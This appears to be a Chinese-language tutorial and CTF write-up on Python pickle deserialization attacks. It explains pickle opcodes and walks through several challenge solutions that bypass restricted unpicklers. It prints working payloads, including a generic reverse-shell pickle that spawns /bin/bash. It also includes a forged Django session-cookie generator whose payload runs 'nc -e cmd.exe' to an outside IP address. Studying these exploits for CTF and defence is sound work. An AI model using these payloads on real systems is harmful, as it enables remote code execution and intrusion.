python pickle 推荐文章 https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
z牛: https://www.anquanke.com/post/id/188981
pickle操作码大全(v0) 有啥不懂的直接看源码把(z牛)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 MARK = b'(' STOP = b'.' POP = b'0' POP_MARK = b'1' DUP = b'2' FLOAT = b'F' INT = b'I' BININT = b'J' BININT1 = b'K' LONG = b'L' BININT2 = b'M' NONE = b'N' PERSID = b'P' BINPERSID = b'Q' REDUCE = b'R' STRING = b'S' BINSTRING = b'T' SHORT_BINSTRING= b'U' UNICODE = b'V' BINUNICODE = b'X' APPEND = b'a' BUILD = b'b' GLOBAL = b'c' DICT = b'd' EMPTY_DICT = b'}' APPENDS = b'e' GET = b'g' BINGET = b'h' INST = b'i' LONG_BINGET = b'j' LIST = b'l' EMPTY_LIST = b']' OBJ = b'o' PUT = b'p' BINPUT = b'q' LONG_BINPUT = b'r' SETITEM = b's' TUPLE = b't' EMPTY_TUPLE = b')' SETITEMS = b'u' BINFLOAT = b'G' TRUE = b'I01\n' FALSE = b'I00\n'
pickle介绍 pickle的大致过程 以Foo类为例
提取出Foo类中的所有attribute(从__dict__
中获得)将其转化为键值对
写入对象类名
写入第一步生成的键值对
unpickle的大致过程
获取pickle流
重新构建属性列表
根据保存的类名来创建对象
将属性列表恢复到对象中
pvm组成(解析pickle)
指令解释器 最后一步一定是返回栈顶元素
栈
memo(临时保存数据) 用类似list的方式来读取和储存数据,以字典方式实现 如p100,意为把栈顶元素保存到memo中索引为100
pvm指令格式
pvm的操作码只有一个字节
需要参数的操作码,要在每一个参数后面加上换行符
从pickle流中读取数据,并加载到栈上
如何生成pickle 操作码 加载数据
操作码
助记
加载到栈上的数据类型
示例
S
string
String
S’foo’\n
V
unicode
unicode
Vfo\u006f\n
I
int
int
I42\n
修改栈/memo
操作码
助记
描述
示例
(
MARK
向栈中加入一个标记
(
0
POP
弹出栈顶元素并丢弃
0
p<memo_index>
\n
PUT
复制栈顶元素到memo中
p101\n
g<memo_index>
\n
GET
将memo中指定元素拷贝到栈顶
g101\n
生成/修改列表,字典,元组
操作码
助记
描述
示例
l
列表
将栈顶到遇到的第一个mask之间的元素到一个列表,并将这个列表放入栈中
(S’string’\nl
t
元组
将栈顶到遇到的第一个mask之间的元素放到一个元组中,并将这个元组放入栈中
(S’string’\nS’string2’\nt
d
字典
将栈顶到遇到的第一个mask之间的元素放到一个字典中,并将这个字典放入栈中
(S’key1’\nS’value1’\nS’key2’\nS’value2’\nd
s
SETITEM
从栈出弹出三个值:字典,键,值,将键值对合并到字典中
(S’key1’\nS’val1’\nS’key2’\nI123\ndS’key3’\nS’val 3’\ns
pickle 流生成元组的过程
生成元组的指令
1 2 3 4 (S'str1' S'str2' I1234 t
生成元组的过程图
加载对象
操作码
助记
描述
示例
c
GLOBAL
需要两个参数(module,class)来创建对象,并将其放到栈中
cos\nsystem\n
R
REDUCE
弹出一个参数元组和一个可调用对象(可能是由GLOBAL加载的),将参数应用于可调用对象并将结果压入栈中
cos\nsystem\n(S’sleep 10’\ntR
加载对象过程图
编写pickle的一些技巧 我们如何执行如下的代码:
1 2 f=open ('/path/to/massive/sikrit' ) f.read()
思路是:首先执行open函数,将其储存在memo里面,在利用魔术方法来执行f.read()
f.read()
可以等价替换成__builtin__.apply( __builtin__.getattr(file,'read'), [f])
最后合成的pickle是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #step1 c__builtin__ open (S'/path/to/massive/sikrit' tRp100 #step2 c__builtin__ apply (c__builtin__ getattr (c__builtin__ file S'read' tR(g100 ltR.
手写pickle模板
利用__reduce__
来生成pickle代码 __reduce__
当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 reduce 被定义之后,当对象被Pickle时就会被调用。
1 2 3 4 5 6 import os, pickleclass Test (object ): def __reduce__ (self ): return (os.system,('ls' ,)) print (pickle.dumps(Test(), protocol=0 ))
利用marshal和cPickle来生成代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 __author__ = 'bit4' __github__ = 'https://github.com/bit4woo' import marshalimport base64import cPickleimport urllibimport pickledef foo (): import os def fib (n ): if n <= 1 : return n return fib(n-1 ) + fib(n-2 ) print 'fib(10) =' , fib(10 ) os.system('dir' ) code_serialized = base64.b64encode(marshal.dumps(foo.func_code)) payload = """ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'%s' tRtRc__builtin__ globals (tRS'' tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))print (payload)
经验 通过源码查看pickle的方法 直接所有操作码对应的变量
dispatch[BININT1[0]] = load_binint1
找到类似这种的后面的就是对应的函数
pickle工具 converttopickle.py
payload https://github.com/sensepost/anapickle/blob/master/anapickle.py
反弹shell 1 '''csocket\n__dict__\np101\n0c__builtin__\ngetattr\n(g101\nS'__getitem__'\ntRp102\n0g102\n(S'AF_INET'\ntRp100\n0csocket\n__dict__\np104\n0c__builtin__\ngetattr\n(g104\nS'__getitem__'\ntRp105\n0g105\n(S'SOCK_STREAM'\ntRp103\n0csocket\n__dict__\np107\n0c__builtin__\ngetattr\n(g107\nS'__getitem__'\ntRp108\n0g108\n(S'IPPROTO_TCP'\ntRp106\n0csocket\n__dict__\np110\n0c__builtin__\ngetattr\n(g110\nS'__getitem__'\ntRp111\n0g111\n(S'SOL_SOCKET'\ntRp109\n0csocket\n__dict__\np113\n0c__builtin__\ngetattr\n(g113\nS'__getitem__'\ntRp114\n0g114\n(S'SO_REUSEADDR'\ntRp112\n0csocket\nsocket\n(g100\ng103\ng106\ntRp115\n0c__builtin__\ngetattr\n(csocket\nsocket\nS'setsockopt'\ntRp116\n0c__builtin__\napply\n(g116\n(g115\ng109\ng112\nI1\nltRp117\n0c__builtin__\ngetattr\n(csocket\nsocket\nS'connect'\ntRp118\n0c__builtin__\napply\n(g118\n(g115\n(S'localhost'\nI55555\ntltRp119\n0c__builtin__\ngetattr\n(csocket\n_socketobject\nS'fileno'\ntRp120\n0c__builtin__\napply\n(g120\n(g115\nltRp121\n0c__builtin__\nint\n(g121\ntRp122\n0csubprocess\nPopen\n((S'/bin/bash'\ntI0\nS'/bin/bash'\ng122\ng122\ng122\ntRp123\n0S'finished'\n.'''
localhost:55555
注意
使用v0版的pickle协议,保证shellcode的通用性
例题 suctf guess_game 题目链接
考点:pickle
代码审计一波后
如果猜对10次后会给flag(机会只有10次)
因为知道是考pickle直接全局搜索pickle发现在server处有
ticket = restricted_loads(ticket)
其中ticket是我们可控点
跟进去看
1 2 3 4 5 6 7 8 9 10 11 12 class RestrictedUnpickler (pickle.Unpickler ): def find_class (self, module, name ): if "guess_game" == module[0 :10 ] and "__" not in name: return getattr (sys.modules[module], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load()
我们只能加载guess_game中的类,并且不能调用魔术方法.
在这一题中拿到flag有两种方式:
命令执行
通过游戏
在怼着find_class许久之后发现没办法绕过,于是只能走通过游戏这一条路了
而游戏中判定赢的条件是
1 2 3 class Game def is_win (self ): return self.win_count == max_round
如果我们能直接修改win_count或者max_round就可以拿到flag了
我们发现在guess_game
中已经有一个game = Game()
这个了,也就是我们可以利用pickle来加载这个game直接修改
那么接下来就是如何修改了
在pickle的操作码中我们发现
BUILD = b'b' # call __setstate__ or __dict__.update()
这一条
其中update()就可以修改game的属性了
那么接下来就只有一个问题了,操作码b
如何使用
一路跟踪发现b操作码的实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def load_build (self ): stack = self.stack state = stack.pop() inst = stack[-1 ] setstate = getattr (inst, "__setstate__" , None ) if setstate is not None : setstate(state) return slotstate = None if isinstance (state, tuple ) and len (state) == 2 : state, slotstate = state if state: inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): if type (k) is str : inst_dict[intern(k)] = v else : inst_dict[k] = v if slotstate: for k, v in slotstate.items(): setattr (inst, k, v)
没有调用参数,栈顶应为字典,栈顶的下面是要修改的对象
最后的payload:
1 b"cguess_game\ngame\n(S'win_count'\nI10\nS'round_count'\nI10\ndb\x80\x03cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x01sb."
code breaking picklecode 题目链接
代码审计发现在index处可以ssti
1 2 3 4 5 def index (request ): django_engine = engines['django' ] template = django_engine.from_string('My name is ' + request.user.username) return HttpResponse(template.render(None , request))
但是django难以利用ssti命令执行但是能读取敏感配置
结合serializer.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 class RestrictedUnpickler (pickle.Unpickler ): blacklist = {'eval' , 'exec' , 'execfile' , 'compile' , 'open' , 'input' , '__import__' , 'exit' } def find_class (self, module, name ): if module == "builtins" and name not in self.blacklist: return getattr (builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) class PickleSerializer (): def dumps (self, obj ): return pickle.dumps(obj) def loads (self, data ): try : if isinstance (data, str ): raise TypeError("Can't load pickle from unicode string" ) file = io.BytesIO(data) return RestrictedUnpickler(file, encoding='ASCII' , errors='strict' ).load() except Exception as e: return {}
和setting文件里的特殊配置
1 2 SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
查阅django文档发现
https://docs.djangoproject.com/zh-hans/3.0/topics/http/sessions/#using-cookie-based-sessions
可以确定,这里是通过读取secret_key来构造恶意cookie来pickle反序列化命令执行
我们跟进django.contrib.sessions.backends.signed_cookies来了解如何生成储存session的cookie(这里花了我很久的时间,从尝试看一步一步调试到看调用堆栈再到查文档最后才搞清楚过程,建议自己尝试)
在理解之后便有一下生成恶意cookie的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import base64import datetimeimport jsonimport reimport timeimport zlibimport picklefrom django.utils import baseconvfrom django.utils.crypto import constant_time_compare, salted_hmacfrom django.utils.encoding import force_bytesfrom django.utils.module_loading import import_stringfrom django import corefrom django.core import signingmyexp=b'''cbuiltins globals (tRp100 cbuiltins getattr p101 (g100 S'get' tR(S'builtins' tRp103 g101 (g103 S'eval' tR(S'eval(\'\'\'__import__('os').system('nc -e "cmd.exe /K" 39.108.164.219 60000 -d')\'\'\')' tR.''' def pickle_exp (SECRET_KEY ): data = myexp compress=True is_compressed = False salt='django.contrib.sessions.backends.signed_cookies' if compress: compressed = zlib.compress(data) if len (compressed) < (len (data) - 1 ): data = compressed is_compressed = True base64d = signing.b64_encode(data).decode() if is_compressed: base64d = '.' + base64d print (signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(base64d)) pickle_exp("asdasdasdasdas" )
接下来就是如何构造恶意的pickle代码的问题了
题目限制了只能加载builtins里的属性
且属性名不能为以下内容
1 blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
利用__reduce__
来生成pickle代码已经无法满足要求了,我们不得不手写pickle代码,怎么手写就不详细讲了
我们现在把目光聚焦在如何构造利用链上
builtins的属性(删除部分)
1 ['_' , '__build_class__' , '__debug__' , '__doc__' , '__import__' , '__loader__' , '__name__' , '__package__' , '__spec__' , 'abs' , 'all' , 'any' , 'ascii' , 'bin' , 'bool' , 'breakpoint' , 'bytearray' , 'bytes' , 'callable' , 'chr' , 'classmethod' , 'compile' , 'complex' , 'copyright' , 'credits' , 'delattr' , 'dict' , 'dir' , 'divmod' , 'enumerate' , 'eval' , 'exec' , 'exit' , 'filter' , 'float' , 'format' , 'frozenset' , 'getattr' , 'globals' , 'hasattr' , 'hash' , 'help' , 'hex' , 'id' , 'input' , 'int' , 'isinstance' , 'issubclass' , 'iter' , 'len' , 'license' , 'list' , 'locals' , 'map' , 'max' , 'memoryview' , 'min' , 'next' , 'object' , 'oct' , 'open' , 'ord' , 'pow' , 'print' , 'property' , 'quit' , 'range' , 'repr' , 'reversed' , 'round' , 'set' , 'setattr' , 'slice' , 'sorted' , 'staticmethod' , 'str' , 'sum' , 'super' , 'tuple' , 'type' , 'vars' , 'zip' ]
我们查看builtins的属性我们发现两个有意思的东西,一个是getattr,另一个是globals
虽然限制我们属性名不能为eval啥的,但是并没有限制不能出现在参数处
所以getattr(builtins,"eval")
便能得到eval方法了
但是看pickle的操作码并没有发现能直接导入一个模块的操作,在结合globals我们很容易想到getattr(getattr(globals(),"builtins"),"eval")
最后的payload:builtins.getattr(builtins.getattr(builtins.globals(),"builtins"),"eval")("evil code")
其对应的pickle代码是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 b'''cbuiltins globals (tRp100 cbuiltins getattr p101 (g100 S'get' tR(S'builtins' tRp103 g101 (g103 S'eval' tR(S'eval(\'\'\'__import__('os').system('nc -e "cmd.exe /K" 39.108.164.219 60000 -d')\'\'\')' tR.'''
最后就差secret_key了,看别人的wp都是调试易得易得secret_key//
但是我是没找到,于是自己写了个过滤器
递归查找settings
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from django.http.response import HttpResponse, HttpResponseRedirectfrom django.template import enginesfrom django.contrib.auth import login as auth_login, get_user_model, authenticatefrom django.contrib.auth.views import LoginView, logout_then_loginfrom django.contrib.auth.decorators import login_requiredfrom django.views import genericfrom django import templateimport djangofrom django import templateregister = template.Library() @register.filter def get_dict (obj,way="" ,depth=0 ): if depth>11 : return objdir=dir (obj) r={"dict" :objdir,"way" :way} result="" for i in objdir: try : if '_' == i[0 ]: continue if getattr (obj, '__module__' , None )!=None and getattr (obj, '__module__' , None ).split('.' )[0 ] == django.__name__: result+=get_dict(getattr (obj,i,None ),way+"." +i,depth+1 ) except TypeError: pass if "SECRET_KEY" in objdir or "settings" in objdir: print (way) return result+way+"\n" return result
这次是真的易得了:),至此结束
BalsnCTF 2019 Pyshv1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import securePickle as pickleimport codecspickle.whitelist.append('sys' ) class Pysh (object ): def __init__ (self ): self.login() self.cmds = {} def login (self ): user = input ().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ" ) def run (self ): while True : req = input ('$ ' ) func = self.cmds.get(req, None ) if func is None : print ('pysh: ' + req + ': command not found' ) else : func() if __name__ == '__main__' : pysh = Pysh() pysh.run()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import pickleimport iowhitelist = [] class RestrictedUnpickler (pickle.Unpickler ): def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) return pickle.Unpickler.find_class(self, module, name) def loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() dumps = pickle.dumps
只允许sys里的属性,而且属性里不能有.
1 2 ['__displayhook__', '__doc__', '__excepthook__', '__interactivehook__', '__loader__', '__name__', '__package__', '__spec__', '__stderr__', '__stdin__', '__stdout__', '_clear_type_cache', '_current_frames', '_debugmallocstats', '_getframe', '_git', '_home', '_xoptions', 'abiflags', 'api_version', 'argv', 'base_exec_prefix', 'base_prefix', 'builtin_module_names', 'byteorder', 'call_tracing', 'callstats', 'copyright', 'displayhook', 'dont_write_bytecode', 'exc_info', 'excepthook', 'exec_prefix', 'executable', 'exit', 'flags', 'float_info', 'float_repr_style', 'get_asyncgen_hooks', 'get_coroutine_wrapper', 'getallocatedblocks', 'getcheckinterval', 'getdefaultencoding', 'getdlopenflags', 'getfilesystemencodeerrors', 'getfilesystemencoding', 'getprofile', 'getrecursionlimit', 'getrefcount', 'getsizeof', 'getswitchinterval', 'gettrace', 'hash_info', 'hexversion', 'implementation', 'int_info', 'intern', 'is_finalizing', 'last_traceback', 'last_type', 'last_value', 'maxsize', 'maxunicode', 'meta_path', 'modules', 'path', 'path_hooks', 'path_importer_cache', 'platform', 'prefix', 'ps1', 'ps2', 'set_asyncgen_hooks', 'set_coroutine_wrapper', 'setcheckinterval', 'setdlopenflags', 'setprofile', 'setrecursionlimit', 'setswitchinterval', 'settrace', 'stderr', 'stdin', 'stdout', 'thread_info', 'version', 'version_info', 'warnoptions']
发现有个modules,但是loads那里有一个死亡raise
sys._getframe
可以返回带有exec的字典,但是好像没啥用
现在问题是不知道如何取出modules里的值
阅读文档发现
This is a dictionary that maps module names to modules which have already been loaded. This can be manipulated to force reloading of modules and other tricks. However, replacing the dictionary will not necessarily work as expected and deleting essential items from the dictionary may cause Python to fail.
可以修改modules来修改模块内容
1 2 3 4 5 > >> import sys > >> sys.modules['sys' ]=sys.modules > >> import sys > >> dir(sys) ['__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']
然后sys就被替换成sys.modules了,就可以拿到os了
然后再对sys.modules[‘sys’]再赋值为os
就可以import os了
(师傅们tql)
构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 csys modules S'sys' csys modules p100 scsys get (S'os' tRp101 g100 S'sys' g101 scsys system (S'dir' tR.
BalsnCTF 2019 Pyshv2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import securePickle as pickleimport codecspickle.whitelist.append('structs' ) class Pysh (object ): def __init__ (self ): self.login() self.cmds = { 'help' : self.cmd_help, 'flag' : self.cmd_flag, } def login (self ): user = input ().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ" ) def run (self ): while True : req = input ('$ ' ) func = self.cmds.get(req, None ) if func is None : print ('pysh: ' + req + ': command not found' ) else : func() def cmd_help (self ): print ('Available commands: ' + ' ' .join(self.cmds.keys())) def cmd_su (self ): print ("Not Implemented QAQ" ) def cmd_flag (self ): print ("Not Implemented QAQ" ) if __name__ == '__main__' : pysh = Pysh() pysh.run()
这次更骚了直接给了个空模块
1 2 > >> dir(structs) ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__']
__spec__,__loader__,__builtins__
是我们需要注意的
我们看一下操作码c(看重载后的find_class代码,看别人wp的时候没看重载后的find_class,然后连wp都看不懂了)的实现,发现调用了__import__
在文档中发现
此函数(__import__
)会由 import
语句发起调用。 它可以被替换 (通过导入 builtins
模块并赋值给 builtins.__import__
) 以便修改 import
语句的语义
而__buiutins__
里面也有__import__
1 2 3 4 5 6 7 >>> structs.__builtins__['__import__']=eval >>> import os Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: eval expected at most 3 arguments, got 5 >>> __import__('print(123)') 123
成功修改了__import__
我们再看重载的find_class
securePickle.py
1 2 3 4 5 6 7 8 9 class RestrictedUnpickler (pickle.Unpickler ): def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) module = __import__ (module) return getattr (module, name)
而原来的find_class是这样的
1 2 3 def find_class : __import__ (module, level=0 ) return getattr (sys.modules[module], name)
接着我们可以通过操作码c来实现一下操作
1 return getattr (__import__ (module), name)
如果能令__import__(module)
的返回值为__builtins__
时,就可以取出__builtins__
里的值
结合魔术方法 __getattribute__
便可以实现
于是构造
1 2 3 4 bis=structs.__builtins__ structs.__setattr__('structs' ,bis) bis['__import__' ]=structs.__getattribute__ getattr (__import__ ("structs" ),"get" )("eval" )("print(123)" )
对应的pickle代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 cstructs __builtins__ p100 0cstructs __setattr__ (S'structs' g100 tRg100 S'__import__' cstructs __getattribute__ scstructs get (S"eval" tR(S'print(123)' tR.
BalsnCTF 2019 Pyshv3 structs.py
1 2 3 4 5 6 class User (object ): def __init__ (self, name, group ): self.name = name self.group = group self.isadmin = 0 self.prompt = ''
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import pickleimport iowhitelist = [] class RestrictedUnpickler (pickle.Unpickler ): def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) return pickle.Unpickler.find_class(self, module, name) def loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() dumps = pickle.dumps
server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import securePickle as pickleimport codecsimport ospickle.whitelist.append('structs' ) class Pysh (object ): def __init__ (self ): self.key = os.urandom(100 ) self.login() self.cmds = { 'help' : self.cmd_help, 'whoami' : self.cmd_whoami, 'su' : self.cmd_su, 'flag' : self.cmd_flag, } def login (self ): with open ('../flag.txt' , 'rb' ) as f: flag = f.read() flag = bytes (a ^ b for a, b in zip (self.key, flag)) user = input ().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) print ('Login as ' + user.name + ' - ' + user.group) user.privileged = False user.flag = flag self.user = user def run (self ): while True : req = input ('$ ' ) func = self.cmds.get(req, None ) if func is None : print ('pysh: ' + req + ': command not found' ) else : func() def cmd_help (self ): print ('Available commands: ' + ' ' .join(self.cmds.keys())) def cmd_whoami (self ): print (self.user.name, self.user.group) def cmd_su (self ): print ("Not Implemented QAQ" ) def cmd_flag (self ): if not self.user.privileged: print ('flag: Permission denied' ) else : print (bytes (a ^ b for a, b in zip (self.user.flag, self.key))) if __name__ == '__main__' : pysh = Pysh() pysh.run()
如果我们想拿到flag,要么命令执行直接拿flag要么就令user.privileged=True
调用cmd_flag来拿flag
但是再反序列化处
1 2 3 user = pickle.loads(user) print ('Login as ' + user.name + ' - ' + user.group) user.privileged = False
user.privileged
会被覆盖为False,再康康其他的信息把
dir(structs)
:
1 ['User' , '__builtins__' , '__cached__' , '__doc__' , '__file__' , '__loader__' , '__name__' , '__package__' , '__spec__' ]
几个小时后,看wp学成归来.
我:艹,太骚了,师傅们牛逼死了
之前说有两个解题思路,命令执行这一个思路在看了一会之后就觉得不太行,毫无头绪
再康康让user.privileged=False
失效这一思路,emmmm感觉也不太行.
但是,类的赋值肯定会受到一些特殊函数的影响
在研究类的赋值的时候可以找到描述符 可以自定义赋值函数
那么如果我们能让User的__set__
变成一个接受3个参数的函数,就可以令user.privileged=False
无效
但是很显然pickle里是无法直接编写代码的,令__set__=""
?更不行,会直接报错
继续阅读代码我们会发现一个神奇的东西
1 2 3 4 5 6 7 class User (object ): def __init__ (self, name, group ): self.name = name self.group = group self.isadmin = 0 self.prompt = '' print ("name:%s ,group:%s" %(name,group))
User.__init__
刚好接受三个参数
我们能不能让__set__=User
?,然后调用__set__
的时候调用User.__init__
1 2 3 4 5 6 7 >>> setattr (User,'test' ,User(123 ,123 ))name:123 ,group:123 >>> setattr (User,"__set__" ,User)>>> b=User(123 ,123 )name:123 ,group:123 >>> b.test=123123 name:<structs.User object at 0x0000017BA1538748 > ,group:123123
于是构造:
1 2 3 4 5 a=__import__ ("structs" ).User b=User("123" ,"456" ) setattr (a,"privileged" ,b)setattr (a,"__set__" ,a)return b
对应的pickle代码为
1 2 3 4 5 6 7 8 9 10 11 12 13 cstructs User p100 (S"123" S"456" tRp101 g100 (N}S'privileged' g101 sS'__set__' g100 stbg101 .
1 2 3 4 5 6 $ help Available commands: help whoami su flag $ whoami 123 456 $ flag b'Balsn{pY7h0n1dae_ObJ3c7}\n'
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
参考 https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
https://www.anquanke.com/post/id/188981
http://www.polaris-lab.com/index.php/archives/178/
https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
https://xz.aliyun.com/t/5306